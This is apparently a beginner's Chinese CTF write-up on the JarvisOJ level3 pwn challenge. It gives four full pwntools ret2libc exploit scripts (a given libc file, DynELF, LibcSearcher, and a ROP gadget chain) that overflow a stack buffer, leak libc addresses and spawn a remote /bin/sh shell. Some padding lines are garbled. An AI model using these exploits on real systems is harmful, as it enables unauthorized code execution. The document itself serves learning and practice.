level3和level4都是ret2libc的典型题目,只不过level3给了libc文件而level4没有给。
这里以leve3为例,使用多种方式实现ret2libc
整体思路就是通过首先泄露处libc中某个函数运行时的实际地址,再通过给定的libc文件计算出system函数的实际地址,跳转到system函数执行
基础原理: http://www.zjzhhb.com/archives/641 ,
利用思路:由程序文件获得write在plt表中的地址,可以理解为write的入口地址
由程序文件获得write在got表中的地址,此处存放着write实际运行时的地址
payload1跳转到write函数执行(plt地址),泄露write函数运行时在内存中的地址,并跳回vulnerable函数。
通过给定的libc库算出system函数和字符串’/bin/sh’的实际地址
payload2构造system(‘/bin/sh’)
这里不再介绍了,附上脚本:
from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")
elf=ELF('/home/zpy/Desktop/javaoj/level3/level3')
libc=ELF('/home/zpy/Desktop/javaoj/level3/libc-2.19.so')
ip = 'pwn2.jarvisoj.com'
port = 9879
io = remote(ip, port)
write_addr = elf.symbols['write'] # pltadress
vulner_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write']
padding='a'0x88+'a'0x4
payload1=padding + p32(write_addr) + p32(vulner_addr) + p32(1) + p32(write_got) + p32(4)
print io.recv()
io.send(payload1)
write_absoult = u32(io.recv(4))
system_lib = libc.symbols['system']
write_lib = libc.symbols['write']
bin_lib = libc.search('/bin/sh').next()
system_absoult = write_absoult + system_lib - write_lib
bin_absoult = write_absoult + bin_lib-write_lib
payload2 = padding + p32(system_absoult) + p32(0) + p32(bin_absoult)
io.recv()
io.sendline(payload2)
io.interactive()
DynELF是pwntools的一个函数,可以循环利用程序中可以泄露地址的函数(这里是write),将libc中的函数的实际地址泄露出来,并且无需libc文件。
关于DynELF:
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/4.8_dynelf.md
https://www.anquanke.com/post/id/85129
https://www.freebuf.com/articles/system/193646.html
但是好像不能泄露字符串’/bin/sh’的地址,不过我们可以构造read(0,bss_addr,0x8)读入我们输入的’/bin/sh’,写入到bss段,再通过提供给system函数使用。
利用思路:无需libc库文件
由程序文件获得write的plt地址,获得read函数的plt地址,获得write函数的got地址,start函数的地址,获得bss程序段的起始地址
由DynELF和write函数泄露出system函数的地址
payload2:调用read函数,标准输入将字符串’/bin/sh’读入bss数据段
payload3:调用system函数,bss段中的’/bin/sh’的地址作为system函数的参数,执行 system(‘/bin/sh’)
编写leak函数的时候要注意接收’Input:\n’,这里和level4有点差别
from pwn import *
ip = 'pwn2.jarvisoj.com'
port = 9879
io = remote(ip, port)
elf=ELF('/home/zpy/Desktop/javaoj/level3/level3')
write_addr = elf.symbols['write']
vulner_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write']
start = elf.symbols['_start'] # 循环泄露地址时,最好使用start函数作为每次跳转回的位置,不易出错
read_plt = elf.symbols['read']
bss_addr = elf.bss()
padding = 'a' * 0x88 + 'a' * 0x4
def leak(address):
payload = padding + p32(write_addr) + p32(start) + p32(1) + p32(address) + p32(4)
io.recvuntil('Input:\n')
io.send(payload)
data = io.recv(4)
return data
d = DynELF(leak, elf=ELF('/home/zpy/Desktop/javaoj/level3/level3'))
systemAddress = d.lookup('system', 'libc')
payload2 = padding + p32(read_plt) + p32(vulner_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
io.send(payload2)
io.send('/bin/sh\x00')
payload3 = padding + p32(systemAddress) + p32(0) + p32(bss_addr)
io.sendline(payload3)
io.interactive()
LibcSearcher是python的一个库,可以通过已泄露的函数地址算出改程序使用的libc文件是哪个。当我们知道了程序中链接的libc文件是什么,就可像方法一一样计算实际地址了。
利用思路:与方法一类似,但是也不需要给出libc文件
首先泄露出write函数运行时的实际地址
通过LibcSearcher,确定libc文件的版本,算出system函数和字符串’/bin/sh’的实际地址
只提供一个泄露的地址和对应函数名,可能搜索到多个符合结果的libc,都进行尝试即可。
关于LibcSearcher:
https://github.com/lieanu/LibcSearcher
https://blog.csdn.net/kevin66654/article/details/87282411
https://www.jianshu.com/p/8d2552b8e1a2
https://libc.blukat.me/
from pwn import *
from LibcSearcher import *
elf=ELF('/home/zpy/Desktop/javaoj/level3/level3')
ip = 'pwn2.jarvisoj.com'
port = 9879
io = remote(ip, port)
write_addr = elf.symbols['write']
vulner_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write']
padding='a'0x88+'a'0x4
payload1=padding + p32(write_addr) + p32(vulner_addr) + p32(1) + p32(write_got) + p32(4)
io.recv()
io.send(payload1)
write_absoult = u32(io.recv(4))
obj = LibcSearcher("write", write_absoult)
system_lib = obj.dump("system")
bin_lib = obj.dump("str_bin_sh")
write_lib = obj.dump("write")
system_absoult = write_absoult + system_lib - write_lib
bin_absoult = write_absoult + bin_lib - write_lib
payload2 = padding + p32(system_absoult) + p32(0) + p32(bin_absoult)
io.recv()
io.sendline(payload2)
io.interactive()
方法二中,使用了三个payload,其中payload2调用read函数读入’/bin/sh’,payload3调用system函数执行,现在我们考虑将payload2和payload3合并。
但是直接合并是有问题的,如果我们构造一个payload,直接两个函数的栈帧压入,执行完read函数后的栈并不满足system函数的执行,还需要pop三次。
所以新的思路是执行完read函数后,跳转到程序的某处,存在指令 pop … pop … pop … ret,在这里执行完三次pop,平衡栈结构后,再执行跳转指令,跳转到system函数执行。
在程序中找到一处 pop … pop … pop … ret 需要借助工具ROPgadget
有关ROPgadget:
https://www.jianshu.com/p/1d7f0c56a323
https://github.com/JonathanSalwan/ROPgadget
使用该工具查找包含pop和ret指令的地址:
0x08048519符合三个pop一个ret的要求,执行完read函数跳转到这里执行三个pop再跳转system就行了,脚本:
from pwn import *
ip = 'pwn2.jarvisoj.com'
port = 9879
io = remote(ip, port)
elf=ELF('/home/zpy/Desktop/javaoj/level3/level3')
write_addr = elf.symbols['write']
vulner_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write']
start = elf.symbols['_start']
read_plt=elf.symbols['read']
bss_addr=elf.bss()
padding = 'a' * 0x88 + 'a' * 0x4
def leak(address):
payload = padding + p32(write_addr) + p32(start) + p32(1) + p32(address) + p32(4)
io.recvuntil('Input:\n')
io.send(payload)
data = io.recv(4)
return data
d = DynELF(leak, elf=ELF('/home/zpy/Desktop/javaoj/level3/level3'))
systemAddress = d.lookup('system', 'libc')
ppp_ret = 0x08048519
payload2 = padding + p32(read_plt) + p32(ppp_ret) + p32(0x0) + p32(bss_addr) + p32(0x8)+ p32(systemAddress) + p32(0) + p32(bss_addr)
io.send(payload2)
io.send('/bin/sh\x00')
io.interactive()
刚入门pwn,都是些很基础的东西,记录一下学习笔记,也希望对大家有些用处!
参考链接:
http://abcdefghijklmnopqrst.xyz/2018/08/13/WP_JarvisOJ/#XMAN-level3
https://xz.aliyun.com/t/3402#toc-0
https://blog.csdn.net/weixin_41617275/article/details/84799355
文章同步到我的博客:http://www.zjzhhb.com/archives/654